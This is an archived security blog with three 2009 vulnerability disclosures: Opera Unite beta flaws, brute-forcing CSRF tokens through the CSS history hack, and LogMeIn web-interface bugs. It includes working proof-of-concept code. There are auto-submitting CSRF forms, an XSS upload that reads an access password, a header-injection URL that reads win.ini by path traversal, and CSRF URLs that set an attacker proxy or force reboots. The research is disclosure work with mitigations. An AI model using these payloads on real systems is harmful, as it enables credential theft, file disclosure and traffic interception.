Archive for the ‘CSRF’ Category

Pwning Opera Unite with Inferno’s Eleven

Monday, August 31st, 2009

Opera Unite, the upcoming version of the Opera browser has a strong vision to change how we look at the web. For those who are unknown to this radical technology, it extends your browser into a full-blown collaboration suite where you can chat with people, leave notes, share files, play media, host your sites, etc. (Wow!!).

Opera Unite comes bundled with a bunch of standard services such as Fridge (Notes), The Lounge (chatroom), etc. It is important to understand that these services have two distinct views. One view is of the Service Owner, who installs, customizes and runs these services on his or her computer. The service owner and the computer running these services have associated identifiers. By default, computer name is “home”. So, your administrative homepage is http://admin.home.uid.operaunite.com/. Remember that even though the protocol of communication looks like http, it is not. Opera relays all traffic using a proprietary ucp protocol (encrypted) to asd.opera.com and auth.opera.com (no protocol details except here). The other view is of the Service Page which is used by your users (friends, customers, etc) to access your selected content. These trusted users can access your services from any browser (not just opera unite) and uses the plain http protocol. The service homepage is http://home.uid.operaunite.com/.

I was fascinated by this idea, so I decided to look at the security aspects of the product (while it was in beta). Here are my findings in no particular priority order (tested on 10.00 Beta 3 Build 1703). I am including the PoC in their respective sections. Remember to change “home” with your computerid and “infernosec2” with your userid.

1. Enumerating Service Owner Usernames — Well, if you want to carry out targeted attacks against a particular user, it is easier to do so by guessing his or her username. Usernames are generally firstname/lastname/firstname.lastname, etc. However, for more generic attacks, Opera Unite makes our task easier by allowing Google to index its user’s pages (configurable). Here is the output from a simple query – site:operaunite.com


Opera Unite Username Enumeration using Google

2. Enumerating Computer names for a particular Service Owner — Once you decide on your target service owner, the next step is to determine which computers belong to him or her. Note that from the search engine, you might only get few computer names and not all since owner might have elected to not index the private ones. However, if you visit the service homepage with any non-existent computer name, then Opera Unite happily discloses all computer names used by that person.


Opera Unite Computer Names Enumeration

3. Enumerating Service Owner Server IP address and Port number — If you are a service owner and is thinking that your identity is masked by Opera Unite Proxy Servers, think again. Opera Unite discloses your IP address and Port number to any user (even unauthenticated) who visits your service pages. I have tested this to work on File Sharing and File Uploader Services. Just do a view-source: on any of those pages.


Opera Unite Server IP and Port Disclosure

4. Hijacking Insecure Communication in Service Pages — While Opera Team has taken adequate steps to secure the Service Owner’s communication with Opera Unite Servers (using proprietary ucp), however, the communication of Service Page users with Opera’s Server is plain http and there is no choice to use https (like you cannot do https://home.infernosec2.operaunite.com/file_sharing/content/). These users use sensitive credentials to login to your services and need the same kind of security as the service owner. What is more shocking is that the user management system at my.opera.com does not support https. Try visiting https://my.opera.com/


Opera Unite Insecure HTTP Communication

5. Hosting Phishing Pages and other Malware on Trusted Operaunite.com — As an attacker, you can use Opera Unite to serve phishing pages and malware content from your profile. Both file sharing and file uploader services render the service owner content inside the browser, leaving user vulnerable to phishing and other malware attacks. For example, before serving some content, I phish the user to provide his or her opera unite credentials. User might think that the content is coming from trusted operaunite.com and hence has a high probability of falling to this spoof.


Opera Unite Phishing and Malware Pages Hosting

6. CSRF-ing a File Upload from a Trusted User — Lets say a trusted user is using your file uploader service, i.e. he or she has provided credentials to access it. At the same time, if that user goes to my evil site, I can make him upload arbitrary files to your computer, thereby breaking the trust you have in that user. If the service owner accidentally clicks on that file, it renders inside the browser (thanks to automatic MIME type detection) and poof your XSS executes. In the example below, I have written code to steal your service access password. Please note that this exploit requires that your trusted user is accessing the service from any browser other than Opera since Opera escapes the filenames properly. This exploit is out for the last 1.5 years, but browser vendors haven’t felt the need to fix this (still works for IE8, Firefox 3.5.2).

<html>
<form method="post" action="http://home.infernosec2.operaunite.com/file_uploader/content/upload" enctype="multipart/form-data">
<textarea name='file"; filename="evil"
Content-Type: text/html; '>
<html>
<script>
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
            if (xhr.readyState == 4) {
                if (xhr.status == 200) {
					var pattern= /<[^>]*unite-aclPassword" value="([^>]*)">/i;
					if(pattern.test(xhr.responseText))
					{
						alert("Your acl password is: "+RegExp.$1);
					}
                }
            }
        };

    xhr.open('GET', 'http://admin.home.infernosec2.operaunite.com/file_uploader/admin/', true);
    xhr.send(null);
</script>
</html>
</textarea>
</form>
<script>
     document.forms[0].submit();
</script>
</html>

(Combined PoC available here – /security/operaunite/attack.html)


Opera Unite CSRF ing a file upload on File Uploader


Opera Unite Uploaded File XSS discloses sensitive access password

7. CSRF-ing a Note on the Fridge — Fridge service is an unauthenticated service that is meant for people to leave notes on your computer. If you turn on this service, an attacker can leave weird derogatory fun notes or just fill the queue (default limit -24) so that noone else can post anything. However, he might not want to do that since his ip etc might be getting logged by Opera Servers. So, the better or more stealthy way is to make other users do it for him. Any user that visits his evil site can be made to automatically post notes to any Opera Unite Profile. This includes the service owner as well who can be forced to post something on his computer :) .

<html>
<form method="post" action="http://home.infernosec2.operaunite.com/fridge/">
<input type="text" name="post" value="You are Hacked">
<input type="text" name="author" value="Attacker">
<input type="text" name="email" value="Evil">
<input type="text" name="cancel" value="cancel">
</form>
<script>
     document.forms[0].submit();
</script>
</html>

(Combined PoC available here – /security/operaunite/attack.html)


Opera Unite CSRF ing a note on the Fridge

8. CSRF-Ing anyuserid to join a chatroom — Similar to (6), you can force any trusted user (who is already authenticated to your chatroom with a particular userid) to rejoin with alternate usernames. He or she cannot be forced to post anything (csrf protection), however, this can abused to disrupt any existing conversation. I still have a hard time understanding why anyone wants to allow such functionality ?

<html>
<form method="post" action="http://home.infernosec2.operaunite.com/the_lounge/entry">
<input type="text" name="nick" value="anyfakeid">
</form>
<script>
     document.forms[0].submit();
</script>
</html>

(Combined PoC available here – /security/operaunite/attack.html)


Opera Unite CSRF ing anyfakeid user to join the Lounge

9. XSS ing the unite-session-id cookie, works for almost all services — There is an XSS issue in the unite-session-id cookie, whose value gets echoed in the javascript of http response. I would call this as a low severity issue since this attack of overwriting http headers is only possible to do with older versions of Flash (like 7,8,lower versions of 9) and IE6. Still a bug though :)


Opera Unite XSS ing the unite-session-id cookie using older Flash

10. Clickjacking any Service Page — Opera Team has taken necessary steps to protect the service owner pages from any type of clickjacking exploits. However, they do not provide any protection for the service pages. With the current list of default services and operations allowed from trusted user, I cannot think of interesting exploits. One example can be to clickjack a chatroom user and force him to logout of a conversation. I didn’t get much time to spend on this. But when more and more people start writing their own opera unite services that allow dynamic user interactions, this type of protection will definitely be required.

11. Inconsistency in Password Policy for some services — Most opera unite services are initialized and protected by a default 8 or 9 digit alphanumeric password. However, the photo service is protected by a default 4 char password, which is easily breakable by brute force (looks like photos are considered less private than files). Also, chatroom is out-of-the-box unauthenticated and even if you enable password protection, it picks up a default password “default”. So, your users will have to generate a strong password themselves, which is highly unlikely.



References :–

1. Clickjacking – Jeremiah Grossman and Robert “RSnake” Hansen
http://ha.ckers.org/blog/20081007/clickjacking-details/

2. Forging HTTP Request Headers with Flash – Amit Klein
http://www.securityfocus.com/archive/1/441014

3. Exploiting XSS Vulnerabilities on Cookies – Sirdarckcat
http://sirdarckcat.blogspot.com/2008/01/exploiting-xss-vulnerabilities-on.html

4. CSRF-ing File Upload Fields – Kuza55
http://kuza55.blogspot.com/2008/02/csrf-ing-file-upload-fields.html

Hacking CSRF Tokens using CSS History Hack

Saturday, July 18th, 2009

Update: Security researchers Sirdarckcat and Gareth were kind enough to share the code for a pure CSS based CSRF token finder here . This is stealthier than my PoC below, which used a combination of both JS and CSS. So, it will still work even if you disable javascript and you are not safe anymore :( . To make this PoC more responsive to the client, you need to use multiple CSS stylesheets using the import command. The only problem I see with this pure CSS based approach is there will be network latency involved with large key spaces because your large CSS stylesheet will need to be downloaded by your browser.

I was thinking about the problem of Cross Site Request Forgery and current mitigation strategies used in the Industry. In many of the real world applications I have tested so far, I see the use of random tokens appended as part of url. If the request fails to provide any token or provide a token with incorrect value, then the request is rejected. This prevents CSRF or any cross domain unauthorized function execution.

Uptil now, it was considered infeasible for an attacker to discover your CSRF token using Brute Force Attacks on the server.

The reasons being:

  1. It generates lot of noise on the network and is slow. So most probably an IDS or Web App Firewall will pick up the malicious behavior and block your ip. For example, a Base16 CSRF token of length 5 characters (starting with a character) will generate approximately 393,216 requests.
  2. Many applications are programmed to invalidate your session after it detects more than a certain number of requests with invalid token values. E.g. 30.

I am going to change this belief by showing you a technique to quicky find csrf tokens without generating alerts. This technique is a client side attack, so there is almost no network traffic generated and hence, your server and IDS/Web App Firewalls won’t notice it at all. This attack is based on the popular CSS History Hack found by Jeremiah Grossman 3 years ago.

In this exploit, we discover the csrf token by brute forcing the various set of urls in browser history. We will try to embed different csrf token values as part of url and check if the user has visited that url. If yes, there is a good chance that the user is either using the same CSRF token in the current active session or might have used that token in a previous session. Once we have a list of all such tokens, we can just try our csrf attack on the server using that small list. Currently this attack is feasible for tokens with length of 5 characters or shorter. I tried it on a base16 string of length 5 and was able to brute force the entire key space in less than 2 minutes.

Some of the prerequisites for this attack to work are either

  1. CSRF token remains the same for a particular user session. e.g. csrf token=hash(session_id) OR
  2. CSRF token submitted in older forms for the same session is accepted. Many times, this is the case as it enhances user experience and allows using forward and back browser buttons.

Proof of Concept is available here.
Before running the PoC, you need to change the url and csrftoken paramater values.

For testing using the defaults, you need to first visit one of the following urls, e.g.

  1. /?param1=val1&csrftoken=b59fe [change b59fe to any 5-digit base 16 string starting with a character, i.e.greater than a0000]
  2. http://tinyurl.com/l2lwgd [which is 301 redirect to previous url].

Note: http://www.securethoughts.com and http://securethoughts.com are treated differently while storing in browser history.

A sample run will look like this –

CSRF Token using CSS History Hack

For making this attack unfeasible,

  1. Server-Side Solution (for developers):
    • Make your CSRF tokens long enough (8 or more chars) to be unfeasible for a CLIENT SIDE attack. The ever-increasing processing power will make this attack feasible for longer tokens as well.
    • Store your CSRF token as part of hidden form field, rather than putting in url.
    • Use a different random token for every form submission and not accept any obsolete token, even for the same session.
  2. Client-Side Solution (for your customers/users):
    • Use a browser plugin such as SafeHistory, which defends against visited-link-based tracking techniques.
    • Use the private browsing mode in your browser.

And last, but not the least, XSS obliterates all the CSRF protections possible. So, get rid of XSS first.

I would like to thank Jeremiah for providing his insightful feedback on this post.

Multiple vulnerabilities in LogMeIn web interface can be used to control your computer and steal arbitary files

Wednesday, June 3rd, 2009

A month ago, I reported some severe vulnerabilities in LogMeIn software, specifically version 4.0.784. For those of you that don’t know what LogMeIn is, LogMeIn is a popular remote access software, just like GotoMyPC and Windows RDP. It provides simple and secure access to your computers from any location on the internet, at the convenience of your web browser.

For exploiting these vulnerabilities, you need to social engineer the user to click on a url (e.g. through spam email) or make them visit your evil site somehow.

Vulnerability 1:
The url paramater “lang” passed to cfgadvanced.html is vulnerable to HTTP Header Injection attack using CRLFs. What makes this attack more interesting is once you social engineer a user into clicking this malicious url, you achieve persistent control over all the LogMeIn web pages.

This happens because after the injection occurs, LogMeIn stores the new value of “lang” paramater in registry key [HKEY_LOCAL_MACHINE\SOFTWARE\LogMeIn\V5\Appearance\Language] and puts it in Content-Language header everytime you click any link.

The proof of concept url given below can by used to STEAL ANY FILE ON YOUR DISK, in this case your win.ini file.

https://localhost:2002/cfgadvanced.html?op=update&DisconnectExisting=1&NoHttpCompr=1&CrashDumpInfo=0&lang=en-US%0D%0A%0D%0A%3Chtml%3E%3Cbody%3E%3C/body%3E%3CSCRIPT%3Evar%20ifr%3Dnull%3Bfunction%20al%28%29%7Bvar%20str%3D%28window.frames%5B0%5D.document.body.innerHTML%20%7C%7C%20ifr.contentDocument.documentElement.innerHTML%29%3Balert%28str.substring%28%28str.toLowerCase%28%29%29.indexOf%28%22%3Clegend%3E%22%2C400%29%29%29%3B%7D%20if%28window.location.href.match%28/.*cfgad.*/%29%29%7Bifr%3Ddocument.createElement%28%22iframe%22%29%3Bifr.src%3D%22https%3A//localhost%3A2002/logs.html%3Flog%3D../../../windows/win.ini%22%3Bdocument.body.appendChild%28ifr%29%3BsetTimeout%28%22al%28%29%22%2C4000%29%3B%7D%3C/script%3E%3C%21--

To help you understand this exploit better, I am pasting the url decoded parameter value of “lang” paramater.

lang=en-US

<html>
<body>
</body>
<script>
var ifr=null;
function al()
{
var str=(window.frames[0].document.body.innerHTML || ifr.contentDocument.documentElement.innerHTML);
alert(str.substring((str.toLowerCase()).indexOf("<legend>",400)));
}
if(window.location.href.match(/.*cfgad.*/))
{
ifr=document.createElement("iframe");
ifr.src="https://localhost:2002/logs.html?log=../../../windows/win.ini";
document.body.appendChild(ifr);
setTimeout("al()",4000);
}
</script>
<!--
LogMeIn -  Local File Disclosure using Header Injection


Vulnerability 2:
The LogMeIn web interface does not have any Cross Site Request Forgery protection at all. It can be used by an attacker to make arbitrary changes to your LogMeIn System Settings. Example attacks include:

a. The following url can be used to make your machine restart everyday at a particular time. Too bad if you are using LogMeIn in a production environment :( .

https://localhost:2002/restartat.html?type=1&datey=2009&datem=04&dated=28&daily=1&week=0&timeh=22&timem=40&force=1&op=set

LogMeIn - Change Reboot Settings using CSRF

b. The following url can be used to set an intercepting proxy that passively listens all your LogMeIn traffic.

https://localhost:2002/cfgnet.html?submit=1&restart=&ListenPort=2002&ListenPort=2002&ListenIP=*&IPFilter=&BrokenProxy=255.255.255.0&ServicingThreads=50&IdleTimeOut=0%3A00%3A20%3A00&VersionCheck=1&ProxyAddr=evilproxy.com&ProxyPort=2000&ProxyUsername=user1&ProxyPassword=pass1&submit=Apply

LogMeIn - Change Proxy Settings using CSRF

The LogMeIn Team is currently fixing all these vulnerabilities and a patched version should be available anytime this month. Till then, I advise disabling LogMeIn completely. Web Interfaces are historically known to be disastrous (e.g. uTorrent Pwn3d, Router Hacking Challenge), so make sure you know what gets installed on your computer :) .